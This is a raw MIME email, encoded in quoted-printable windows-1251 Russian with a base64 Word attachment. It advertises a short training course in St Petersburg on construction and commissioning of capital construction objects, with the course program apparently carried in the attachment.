=CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =F1=EF=E5=F6=E8=E0=EB=E8=F1=F2=EE=E2 =ED=E0= =EA=F0=E0=F2=EA=E8=E9 =EE=E1=F3=F7=E0=FE=F9=E8=E9 =EA=F3=F0=F1 =E2 =CF=C5= =D2=C5=D0=C1=D3=D0=C3=C5, =EF=EE=F1=E2=FF=F9=E5=ED=ED=FB=E9 =F1=EB=EE=E6=ED=FB=EC =E2=EE=EF=F0=EE=F1= =E0=EC =E2 =EE=E1=EB=E0=F1=F2=E8 =F1=E4=E0=F7=E8 =EE=E1=FA=E5=EA=F2=E0 =EA= =E0=EF=E8=F2=E5=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0= : =D1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE, =F0=E5=EA=EE=ED=F1=F2=F0=F3=EA=F6= =E8=FF =E8 =E2=E2=EE=E4 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =EE=E1=FA= =E5=EA=F2=E0 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0: =E2=F1=E5 =E7=E0=EA=EE=ED=EE=E4=E0= =F2=E5=EB=FC=ED=FB=E5 =ED=EE=E2=F8=E5=F1=F2=E2=E0, =F0=E0=E7=F0=E0=E1=EE=F2= =EA=E8, =E2=EE=E7=EC=EE=E6=ED=FB=E5 =EF=F0=EE=E1=EB=E5=EC=FB =E8 =F2=EE=ED=EA=EE=F1=F2=E8.=20 =CF=F0=EE=E3=F0=E0=EC=EC=E0 =EA=F3=F0=F1=E0 =E8 =EA=EE=ED=F2=E0=EA=F2=FB = =E2=EE =E2=EB=EE=E6=E5=ED=E8=E8. ------=_NextPart_001_1495_01CEF228.31C08FC0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =F1=EF=E5=F6=E8=E0=EB=E8=F1=F2=EE=E2 = =ED=E0 =EA=F0=E0=F2=EA=E8=E9 =EE=E1=F3=F7=E0=FE=F9=E8=E9 =EA=F3=F0=F1 =E2= =20 =CF=C5=D2=C5=D0=C1=D3=D0=C3=C5,
=EF=EE=F1=E2=FF=F9=E5=ED=ED=FB=E9 =F1=EB= =EE=E6=ED=FB=EC =E2=EE=EF=F0=EE=F1=E0=EC =E2 =EE=E1=EB=E0=F1=F2=E8 =F1=E4= =E0=F7=E8 =EE=E1=FA=E5=EA=F2=E0 =EA=E0=EF=E8=F2=E5=EB=FC=ED=EE=E3=EE=20 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0:
 
=D1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE, =F0=E5=EA=EE=ED=F1=F2=F0=F3= =EA=F6=E8=FF =E8 =E2=E2=EE=E4 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =EE= =E1=FA=E5=EA=F2=E0=20 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE
=F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2= =E2=E0: =E2=F1=E5 =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=FB=E5 =ED=EE=E2= =F8=E5=F1=F2=E2=E0, =F0=E0=E7=F0=E0=E1=EE=F2=EA=E8,=20 =E2=EE=E7=EC=EE=E6=ED=FB=E5 =EF=F0=EE=E1=EB=E5=EC=FB =E8
=F2=EE=ED=EA=EE= =F1=F2=E8.
 
=CF=F0=EE=E3=F0=E0=EC=EC=E0 =EA=F3=F0=F1=E0 =E8 =EA=EE=ED=F2=E0=EA=F2= =FB =E2=EE =E2=EB=EE=E6=E5=ED=E8=E8.
------=_NextPart_001_1495_01CEF228.31C08FC0-- ------=_NextPart_000_1494_01CEF228.31C08FC0 Content-Type: application/msword; name="paket documentov na sda4u ob'ekta.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="paket documentov na sda4u ob'ekta.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAOwAAAAAAAAAA EAAAPQAAAAEAAAD+////AAAAADoAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAe8AZBAAA8BK/AAAAAAAAEAAAAAAACAAAsCMAAA4AYmpianrkeuQAAAAAAAAAAAAAAAAAAAAA AAAZBBYANCoAABiOAQAYjgEAhAoAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAABoIAAAAAAAAGggAAJMV AAAAAAAAkxUAAAAAAACTFQAAAAAAAJMVAAAAAAAAkxUAABQAAAAAAAAAAAAAAP////8AAAAApxUA AAAAAACnFQAAAAAAAKcVAAA4AAAA3xUAACQAAAADFgAAFAAAAKcVAAAAAAAADCEAAKgBAAAXFgAA AAAAABcWAAAAAAAAFxYAAAAAAAAXFgAAAAAAABcWAAAAAAAA8hYAAAAAAADyFgAAAAAAAPIWAAAA AAAAfyAAAAIAAACBIAAAAAAAAIEgAAAAAAAAgSAAAAAAAACBIAAAAAAAAIEgAAAAAAAAgSAAACQA AAC0IgAAsgIAAGYlAAA+AgAApSAAACEAAAAAAAAAAAAAAAAAAAAAAAAAkxUAAAAAAADyFgAAAAAA AAAAAAAAAAAAAAAAAAAAAADyFgAAAAAAAPIWAAAAAAAA8hYAAAAAAADyFgAAAAAAAKUgAAAAAAAA AAAAAAAAAACTFQAAAAAAAJMVAAAAAAAAFxYAAAAAAAAAAAAAAAAAABcWAADbAAAAxiAAABYAAAAY GQAAAAAAABgZAAAAAAAAGBkAAAAAAADyFgAAmgAAAJMVAAAAAAAAFxYAAAAAAACTFQAAAAAAABcW AAAAAAAAfyAAAAAAAAAAAAAAAAAAABgZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA8hYAAAAAAAB/IAAAAAAAAAAAAAAAAAAAGBkAAAAAAAAYGQAA OgAAADkeAAB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACR8AAAAAAAAXFgAAAAAAAP////8AAAAAoDJtHerx zgEAAAAAAAAAAP////8AAAAAjBcAAIIAAACtHgAACgAAAAAAAAAAAAAAayAAABQAAADcIAAAMAAA AAwhAAAAAAAAtx4AAFIAAACkJwAAAAAAAA4YAACCAAAApCcAABQAAAAJHwAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ HwAASgAAAKQnAAAAAAAAAAAAAAAAAACTFQAAAAAAAFMfAAAYAQAA8hYAAAAAAADyFgAAAAAAABgZ AAAAAAAA8hYAAAAAAADyFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8hYA AAAAAADyFgAAAAAAAPIWAAAAAAAApSAAAAAAAAClIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAkBgAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPIWAAAA AAAA8hYAAAAAAADyFgAAAAAAAAwhAAAAAAAA8hYAAAAAAADyFgAAAAAAAPIWAAAAAAAA8hYAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAKQnAAAAAAAA8hYAAAAAAADy FgAAAAAAAPIWAAAAAAAA8hYAAAAAAADyFgAAAAAAAPIWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADyFgAAAAAAAPIWAAAAAAAA8hYA AAAAAAAaCAAAPwwAAFkUAAA6AQAABQASAQAAGQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8EQAQ4 BDMEOwQwBEgEMAQ1BDwEIABBBD8ENQRGBDgEMAQ7BDgEQQRCBD4EMgQgAD8EQAQ+BDkEQgQ4BCAA PgQxBEMERwQ1BD0EOAQ1BCAAPwQ+BCAAOgRDBEAEQQRDBDoADQCrABIEEgQeBBQEIAASBCAALQQa BCEEHwQbBCMEEAQiBBAEJgQYBC4EIAAeBBEEKgQVBBoEIgQQBCAAGgQQBB8EGAQiBBAEGwQsBB0E HgQTBB4EIAAhBCIEIAQeBBgEIgQVBBsELAQhBCIEEgQQBC4AIAAhBCIEIAQeBBgEIgQVBBsELAQh BCIEEgQeBCAAGAQgACAEFQQaBB4EHQQhBCIEIAQjBBoEJgQYBC8EIAAeBBEEKgQVBBoEIgQeBBIE IAAaBBAEHwQYBCIEEAQbBCwEHQQeBBMEHgQgACEEIgQgBB4EGAQiBBUEGwQsBCEEIgQSBBAELgAg AB0EHgQgBBwEEAQiBBgEEgQdBB4EFQQgACAEFQQTBCMEGwQYBCAEHgQSBBAEHQQYBBUEIAAYBB0E EgQVBCEEIgQYBCYEGAQeBB0EHQQeBC0AIQQiBCAEHgQYBCIEFQQbBCwEHQQeBBkEIAAUBBUELwQi BBUEGwQsBB0EHgQhBCIEGAQuALsADQANAB4EMQRDBEcENQQ9BDgENQQgAEEEPgRBBEIEPgQ4BEIE QQRPBCAAMgQgAD8ENQRABDgEPgQ0BCAAQQQgADEANgAgAD8EPgQgADEANwAgADQENQQ6BDAEMQRA BE8EIAAyADAAMQAzADMELgAgADIEIAAzBC4AIAAhBDAEPQQ6BEIELQAfBDUEQgQ1BEAEMQRDBEAE MwQNACAAPAQ1BEEEQgQ+BCAAPwRABD4EMgQ1BDQENQQ9BDgETwQgADwEPgQ2BD0EPgQgAEMEQgQ+ BEcEPQQ4BEIETAQgAD8EPgQgAEIENQQ7BC4AOgAgAHwAOAAxADIAfAA5ADgANgAgADkANAAgADEA MQANAA0AHwQgBB4EEwQgBBAEHAQcBBAEIAAcBBUEIAQeBB8EIAQYBC8EIgQYBC8EOgANACEEPgQy BEAENQQ8BDUEPQQ9BDAETwQgADcEMAQ6BD4EPQQ+BDQEMARCBDUEOwRMBD0EPgQtAD0EPgRABDwE MARCBDgEMgQ9BDAETwQgADEEMAQ3BDAEIAA4BD0EMgQ1BEEEQgQ4BEYEOAQ+BD0EPQQ+BC0AQQRC BEAEPgQ4BEIENQQ7BEwEPQQ+BDMEPgQgAD8EQAQ+BEYENQRBBEEEMAQgADIEIABCBC4ARwQuACAA PQQ+BDIESwQ5BCAAEwRABDAENAQ+BEEEQgRABD4EOARCBDUEOwRMBD0ESwQ5BCAAGgQ+BDQENQQ6 BEEEIAAgBCQEIAA4BCAANARABEMEMwQ4BDUEIAA0BD4EOgRDBDwENQQ9BEIESwQuACAAFwQwBDoE PgQ9BD4ENAQwBEIENQQ7BEwEPQQ+BDUEIABABDUEMwRDBDsEOARABD4EMgQwBD0EOAQ1BCAAOAQg AD4EMQRJBDAETwQgAEUEMARABDAEOgRCBDUEQAQ4BEEEQgQ4BDoEMAQgADQEPgQzBD4EMgQ+BEAE PQRLBEUEIAA+BEIEPQQ+BEgENQQ9BDgEOQQgADIEIABBBEIEQAQ+BDgEQgQ1BDsETARBBEIEMgQ1 BC4AIAAhBEQENQRABDAEIAA/BEAEOAQ8BDUEPQQ1BD0EOARPBCAANwQwBDoEPgQ9BD4ENAQwBEIE NQQ7BEwEQQRCBDIEMAQgAD4EMQQgADgEPQQyBDUEQQRCBDgERgQ4BD4EPQQ9BD4EOQQgADQENQRP BEIENQQ7BEwEPQQ+BEEEQgQ4BC4ADQAdBD4EQAQ8BDAEQgQ4BDIEPQRLBDUEIAA0BD4EOgRDBDwE NQQ9BEIESwQsACAAQAQ1BDMEOwQwBDwENQQ9BEIEOARABEMETgRJBDgENQQgAD8EPgRABE8ENAQ+ BDoEIAAyBDIEPgQ0BDAEIAA3BDAEOgQ+BD0ERwQ1BD0EPQQ+BDMEPgQgAEEEQgRABD4EOARCBDUE OwRMBEEEQgQyBD4EPAQgAD4EMQRKBDUEOgRCBDAEIAAyBCAATQQ6BEEEPwQ7BEMEMARCBDAERgQ4 BE4ELgAgABAENAQ8BDgEPQQ4BEEEQgRABDAEQgQ4BDIEPQRLBDkEIABABDUEMwQ7BDAEPAQ1BD0E QgQgAKsAEgRLBDQEMARHBDAEIABABDAENwRABDUESAQ1BD0EOAQ5BCAAPQQwBCAAMgQyBD4ENAQg AD4EMQRKBDUEOgRCBD4EMgQgADoEMAQ/BDgEQgQwBDsETAQ9BD4EMwQ+BCAAQQRCBEAEPgQ4BEIE NQQ7BEwEQQRCBDIEMAQgADIEIABNBDoEQQQ/BDsEQwQwBEIEMARGBDgETgS7AC4AIAAXBDAEOgQ7 BE4ERwQ1BD0EOAQ1BCAAPgQgAEEEPgQ+BEIEMgQ1BEIEQQRCBDIEOAQ4BCAAPwQ+BEEEQgRABD4E NQQ9BD0EPgQzBD4ELAAgAEAENQQ6BD4EPQRBBEIEQARDBDgEQAQ+BDIEMAQ9BD0EPgQzBD4ELAAg AD4EQgRABDUEPAQ+BD0EQgQ4BEAEPgQyBDAEPQQ9BD4EMwQ+BCAAPgQxBEoENQQ6BEIEMAQgADoE MAQ/BDgEQgQwBDsETAQ9BD4EMwQ+BCAAQQRCBEAEPgQ4BEIENQQ7BEwEQQRCBDIEMAQgAEIEQAQ1 BDEEPgQyBDAEPQQ4BE8EPAQgAEIENQRFBD0EOARHBDUEQQQ6BDgERQQgAEAENQQzBDsEMAQ8BDUE PQRCBD4EMgQuAA0AIQQ+BEEEQgQwBDIEIAA4BEEEPwQ+BDsEPQQ4BEIENQQ7BEwEPQQ+BDkEIAA0 BD4EOgRDBDwENQQ9BEIEMARGBDgEOAQgAD8EQAQ4BCAAQQQ0BDAERwQ1BCAAPgQxBEoENQQ6BEIE MAQuAA0AHwRABD4ERgQ1BDQEQwRABDAEIAAyBEsENAQwBEcEOAQgADcEMAQ6BDsETgRHBDUEPQQ4 BE8EIAA+BCAAQQQ+BD4EQgQyBDUEQgRBBEIEMgQ4BDgEIAA/BD4EQQRCBEAEPgQ1BD0EPQQ+BDME PgQgAD4EMQRKBDUEOgRCBDAEIAA/BEAEPgQ1BDoEQgQ9BD4EOQQgADQEPgQ6BEMEPAQ1BD0EQgQw BEYEOAQ4BCAAOAQgAEIEQAQ1BDEEPgQyBDAEPQQ4BE8EPAQgAEIENQRFBD0EOARHBDUEQQQ6BDgE RQQgAEAENQQzBDsEMAQ8BDUEPQRCBD4EMgQuACAAEwRABDAERAQ4BDoEIABABDAEMQQ+BEIEIAA/ BD4EIABBBDQEMARHBDUEIAA+BDEESgQ1BDoEQgQwBCAAMgQgAE0EOgRBBD8EOwQuACAAHwRABDgE NQQ8BD0EMARPBCAAOgQ+BDwEOARBBEEEOARPBCAAKABBBD4EQQRCBDAEMgQsACAAPgQxBE8ENwQw BD0EPQQ+BEEEQgQ4BCwAIAAwBDoEQgRLBCkALgAgABQENQQ5BEEEQgQyBDgETwQgADgEQQQ/BD4E OwQ9BDgEQgQuACAAPgRABDMEMAQ9BDAEIAAyBDsEMARBBEIEOAQgAD8EQAQ4BCAAMgQyBD4ENAQ1 BCAAPgQxBEoENQQ6BEIEMAQgADoEMAQ/BC4AIABBBEIEQAQ+BDgEQgQ1BDsETARBBEIEMgQwBCAA MgQgAE0EOgRBBD8EOwQuACAAHgRBBD0EPgQyBD0ESwQ1BCAAPQQwBDQENwQ+BEAEPQRLBDUEIAA8 BDUEQAQ+BD8EQAQ4BE8EQgQ4BE8EIAA/BD4EIAA+BDEESgQ1BDoEQgQwBDwELAAgADcEMAQ6BD4E PQRHBDUEPQQ9BEsEPAQgAEEEQgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAABkCAAAZggA AOIJAADkCQAA5gkAACIKAAAmCgAALgoAADIKAAA0CgAAQgoAAE4KAABcCgAAegoAAHwKAADqzbGX iXhmVGZUZkJ4MXgAAAAAAAAAAAAAAAAAAAAAAAAAIBZoMWB8ADUIgU9KAwBRSgMAXAiBXkoEAG1I GQRzSBkEACMWaJsGxgA1CIE+KgFPSgMAUUoDAFwIgV5KBABtSBkEc0gZBCMWaFgc/gA1CIE+KgFP SgMAUUoDAFwIgV5KBABtSBkEc0gZBCMWaBZ73wA1CIE+KgFPSgMAUUoDAFwIgV5KBABtSBkEc0gZ BCAWaJsGxgA1CIFPSgMAUUoDAFwIgV5KBABtSBkEc0gZBAAaFmibBsYAT0oDAFFKAwBeSgQAbUgZ BHNIGQQAMxVomwbGABZomwbGADUIgUIqAkNKIABPSgUAUUoFAFwIgWFKIABtSBkEcGgAAP8Ac0gZ BDcVaJsGxgAWaJsGxgA1CIFCKgJDSiAAT0oFAFFKBQBcCIFeSgQAYUogAG1IGQRwaAAA/wBzSBkE OBVomwbGABZomwbGADBKDwA1CIFCKgJDSiAAT0oFAFFKBQBeSgQAYUogAG1IGQRwaAAA/wBzSBkE ACoVaJsGxgAWaJsGxgAwSg8ANQiBNgiBT0oDAFFKAwBeSgQAbUgZBHNIGQQPAAgAAGQIAADkCQAA 5gkAAHwKAADuCgAA8AoAAB4LAAB0DQAAThAAALoQAABCGwAAMB0AALgdAADYHgAAah8AANwfAABW IQAArCEAAK4iAADOIgAA0CIAANUAAAAAAAAAAAAAAADVAAAAAAAAAAAAAAAAzQAAAAAAAAAAAAAA AM0AAAAAAAAAAAAAAADNAAAAAAAAAAAAAAAAzQAAAAAAAAAAAAAAAM0AAAAAAAAAAAAAAAC5AAAA AAAAAAAAAAAAuQAAAAAAAAAAAAAAALkAAAAAAAAAAAAAAAC5AAAAAAAAAAAAAAAAuQAAAAAAAAAA AAAAALkAAAAAAAAAAAAAAAC5AAAAAAAAAAAAAAAAuQAAAAAAAAAAAAAAALkAAAAAAAAAAAAAAAC5 AAAAAAAAAAAAAAAAzQAAAAAAAAAAAAAAAM0AAAAAAAAAAAAAAADNAAAAAAAAAAAAAAAAzQAAAAAA AAAAAAAAAAAAAAAAAAAAABQAAAomAAtGAgANxgUAAQAABg+EAAARhAAAXoQAAGCEAABnZJsGxgAA BwAAAyQBYSQBZ2SbBsYAACkAAAMkASRkBAEAASVkBAEABSZkBAEAASdkBAEABE7GCAAAAP8EAQEA T8YIAAAA/wQBBQBQxggAAAD/BAEBAFHGCAAAAP8EAQQAYSQBZ2SbBsYAABV8CgAAzAoAANgKAADa CgAA7AoAAO4KAADwCgAAHAsAAB4LAAA6DAAAcg0AAHQNAABIDgAAHg8AAE4QAAC2EQAAdBMAAAAa AABCGwAAxBsAANIcAAAGHQAAMB0AAFgeAADYHgAArCEAAO/dy7bLpI1yXUpdSl1KXUpISl1KXUpd Sl0AAAAAAAAAAAAAAAAAAAADVQgBJRZomwbGAENKFABPSgUAUUoFAFwIgV5KBABhShQAbUgZBHNI GQQoFmibBsYANQiBQ0oUAE9KBQBRSgUAXAiBXkoEAGFKFABtSBkEc0gZBAA0FWibBsYAFmibBsYA NgiBQioCQ0oQAE9KAwBRSgMAXkoEAGFKEABtSBkEcGgAAP8Ac0gZBAAsFWibBsYAFmibBsYANQiB QioCT0oDAFFKAwBeSgQAbUgZBHBoAAD/AHNIGQQAIhZomwbGAENKEABPSgMAUUoDAF5KBABhShAA bUgZBHNIGQQAKRVoFnvfABZoFnvfADUIgTYIgU9KAwBRSgMAXAiBXkoEAG1IGQRzSBkEIxZomwbG ADUIgTYIgU9KAwBRSgMAXAiBXkoEAG1IGQRzSBkEIxZoMWB8ADUIgTYIgU9KAwBRSgMAXAiBXkoE AG1IGQRzSBkEIBZomwbGADYIgU9KAwBRSgMAXAiBXkoEAG1IGQRzSBkEGUAEPgQ4BEIENQQ7BEwE QQRCBDIEPgQ8BC4AIAAhBD4EQQRCBDAEMgQgADQEPgQ6BEMEPAQ1BD0EQgQ+BDIELAAgAD0ENQQ+ BDEERQQ+BDQEOAQ8BEsERQQgADQEOwRPBCAAPwQ+BDQEPwQ4BEEEMAQ9BDgETwQgAEAEMAQ3BEAE NQRIBDUEPQQ4BE8EIAA9BDAEIAAyBDIEPgQ0BCAAPgQxBEoENQQ6BEIEMAQgADIEIABNBDoEQQQ/ BDsELgAgACgANAQ+BD8EQwRBBEIEOAQ8BEsENQQgAD0ENQQ0BD4EQQRCBDAEQgQ6BDgEIAA0BDsE TwQgAD8EPgQ7BEMERwQ1BD0EOARPBCAANwQwBDoEOwROBEcENQQ9BDgETwQgAD4EIABBBD4EPgRC BDIENQRCBEEEQgQyBDgEOAQpAC4ADQAiBEAENQQxBD4EMgQwBD0EOARPBCAAIQQ9BDgEHwQgADgE IAA0BEAEQwQzBDgERQQgAD0EPgRABDwEMARCBDgEMgQ+BDIEIAA/BEAEOAQgAD8EQAQ+BDUEOgRC BDgEQAQ+BDIEMAQ9BDgEOAQgADgEIABBBEIEQAQtADIENQQuACAAFAQ1BDkEQQRCBDIEQwROBEkE MARPBCAAQQQ4BEEEQgQ1BDwEMAQgAD0EPgRABDwEIAA4BCAAPwRABDAEMgQ4BDsELgAgACAAIgQ1 BEUEPQQ4BEcENQRBBDoEOAQ1BCAAQAQ1BDMEOwQwBDwENQQ9BEIESwQgACIEMAQ8BD4ENgQ1BD0E PQQ+BDMEPgQgAEEEPgROBDcEMAQgADIEIAA+BDEEOwQwBEEEQgQ4BCAAMQQ1BDcEPgQ/BDAEQQQ9 BD4EQQRCBDgEIAA4BCAAQQRCBEAEPgQ4BEIENQQ7BEwEQQRCBDIEMAQuAB8EPgRABE8ENAQ+BDoE IAA+BEQEPgRABDwEOwQ1BD0EOARPBCAAIgQ1BEUEPQQ4BEcENQRBBDoEPgQzBD4EIABBBDIEOAQ0 BDUEQgQ1BDsETARBBEIEMgQwBCAAPQQwBCAAPQQ+BDIEQwROBCAAPwRABD4ENARDBDoERgQ4BE4E LgANAB4EQQQ+BDEENQQ9BD0EPgRBBEIEOAQgADIEMgQ+BDQEMAQgADIEIABNBDoEQQQ/BDsEQwQw BEIEMARGBDgETgQgAD4EPwQwBEEEPQRLBEUEIAA/BEAEPgQ4BDcEMgQ+BDQEQQRCBDIENQQ9BD0E SwRFBCAAPgQxBEoENQQ6BEIEPgQyBC4ADQAeBEEEPgQxBDUEPQQ9BD4EQQRCBDgEIAAyBDIEPgQ0 BDAEIAAyBCAATQQ6BEEEPwQ7BEMEMARCBDAERgQ4BE4EIAA4BCAAPwQ+BEAETwQ0BD4EOgQgAD8E NQRABDUENAQwBEcEOAQgAD0EMAQgADEEMAQ7BDAEPQRBBCAAOAQ9BDYENQQ9BDUEQAQ9BEsERQQg AEEENQRCBDUEOQQuACAAHwQ+BEAETwQ0BD4EOgQgADQEPgQ/BEMEQQQ6BDAEIAAyBCAATQQ6BEEE PwQ7BEMEMARCBDAERgQ4BE4EIAA+BDEEPgRABEMENAQ+BDIEMAQ9BDgETwQgAEIENQQ/BDsEPgQy BEsERQQgAEMEQQRCBDAEPQQ+BDIEPgQ6BC4ADQATBD4EQQRDBDQEMARABEEEQgQyBDUEPQQ9BDAE TwQgAEAENQQzBDgEQQRCBEAEMARGBDgETwQgAD8EQAQwBDIEIAA9BDAEIAAyBD0EPgQyBEwEIABB BD4ENwQ0BDAEPQQ9BEsEOQQgAD4EMQRKBDUEOgRCBCAAPQQ1BDQEMgQ4BDYEOAQ8BD4EQQRCBDgE LgANABMEPgRBBEMENAQwBEAEQQRCBDIENQQ9BD0ESwQ5BCAAOgQwBDQEMARBBEIEQAQ+BDIESwQ5 BCAAQwRHBDUEQgQgAD4EMQRKBDUEOgRCBD4EMgQgAD0ENQQ0BDIEOAQ2BDgEPAQ+BEEEQgQ4BC4A IAANAB4EQQQ9BD4EMgQ9BEsENQQgAD4ESAQ4BDEEOgQ4BCwAIAAyBDsEOARPBE4ESQQ4BDUEIAA9 BDAEIABBBEAEPgQ6BDgEIAAyBDIEPgQ0BDAEIAA+BDEESgQ1BDoEQgQwBCAAPQQ1BDQEMgQ4BDYE OAQ8BD4EQQRCBDgEIAAyBCAATQQ6BEEEPwQ7BEMEMARCBDAERgQ4BE4ELgAgAB8EQAQwBDoEQgQ4 BDoEMAQgAD8EQAQ4BDIEOwQ1BEcENQQ9BDgETwQgADoEIAAwBDQEPAQ4BD0EOARBBEIEQAQwBEIE OAQyBD0EPgQ5BCAAOAQgAEMEMwQ+BDsEPgQyBD0EPgQ5BCAAPgRCBDIENQRCBEEEQgQyBDUEPQQ9 BD4EQQRCBDgEIAA3BDAEIAA/BEAEMAQyBD4EPQQwBEAEQwRIBDUEPQQ4BE8EIAAyBCAAPgQxBDsE MARBBEIEOAQgAEEEQgRABD4EOARCBDUEOwRMBEEEQgQyBDAELgANAF8AXwBfAF8AXwBfAF8AXwBf AF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8A XwBfAF8AXwBfAA0AFwQwBDQEMARCBEwEIAA0BD4EPwQ+BDsEPQQ4BEIENQQ7BEwEPQRLBDUEIAAy BD4EPwRABD4EQQRLBCwAIAA/BD4EOwRDBEcEOARCBEwEIAAfBB4EGwQdBCMELgQgAB8EIAQeBBME IAQQBBwEHAQjBCAAPAQ1BEAEPgQ/BEAEOARPBEIEOARPBCwAIAAwBCAAQgQwBDoENgQ1BCAAFwQQ BCAEFQQTBBgEIQQiBCAEGAQgBB4EEgQQBCIELAQhBC8EIAA8BD4ENgQ9BD4EIAA/BD4EIABCBDUE OwQ1BEQEPgQ9BEMEIAA+BEAEMwQ6BD4EPAQ4BEIENQRCBDAEOgAgAA0AfAA4ADEAMgB8ACAAOQA4 ADYAIAA5ADQAIAAxADEADQANACEEIABDBDIEMAQ2BDUEPQQ4BDUEPAQsAA0AHwRABDUENARBBDUE NAQwBEIENQQ7BEwEIAA+BEAEMwQ6BD4EPAQ4BEIENQRCBDAEIAAmBDUEPQRCBEAEMAQgAB8EPgQy BEsESAQ1BD0EOARPBCAAGgQyBDAEOwQ4BEQEOAQ6BDAERgQ4BDgELAANABAEPQRCBDgEPwQ4BD0E MAQgACEEMgQ1BEIEOwQwBD0EMAQgACEENQRABDMENQQ1BDIEPQQwBA0ADQADAA0ADQAEAA0ADQAD AA0ADQAEAA0ADQANAA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACsIQAA/CEAABwiAABIIgAAbCIA AIAiAACuIgAAtiIAALoiAADMIgAAziIAABwjAABaIwAAkiMAAJQjAACWIwAAmiMAAJwjAACgIwAA 79jv2O/DsJ2HdGJHYjszLzMvBhZoChwZAAAPA2oAAAAAFmgKHBkAVQgBFhZomwbGAENKMABhSjAA bUgZBHNIGQQANBVomwbGABZomwbGADUIgUIqAkNKFABPSgUAUUoFAF5KBABhShQAbUgZBHBoAAD/ AHNIGQQAIhZomwbGAENKFABPSgUAUUoFAF5KBABhShQAbUgZBHNIGQQAJRZomwbGADUIgUNKMABP SgUAUUoFAF5KBABhSjAAbUgZBHNIGQQrFWgWe98AFmgWe98ANQiBQ0owAE9KBQBRSgUAXkoEAGFK MABtSBkEc0gZBCUWaJsGxgA1CIFDShwAT0oFAFFKBQBeSgQAYUocAG1IGQRzSBkEJRZoMWB8ADUI gUNKHABPSgUAUUoFAF5KBABhShwAbUgZBHNIGQQoFWibBsYAFmibBsYAQ0oUAE9KBQBRSgUAXkoE 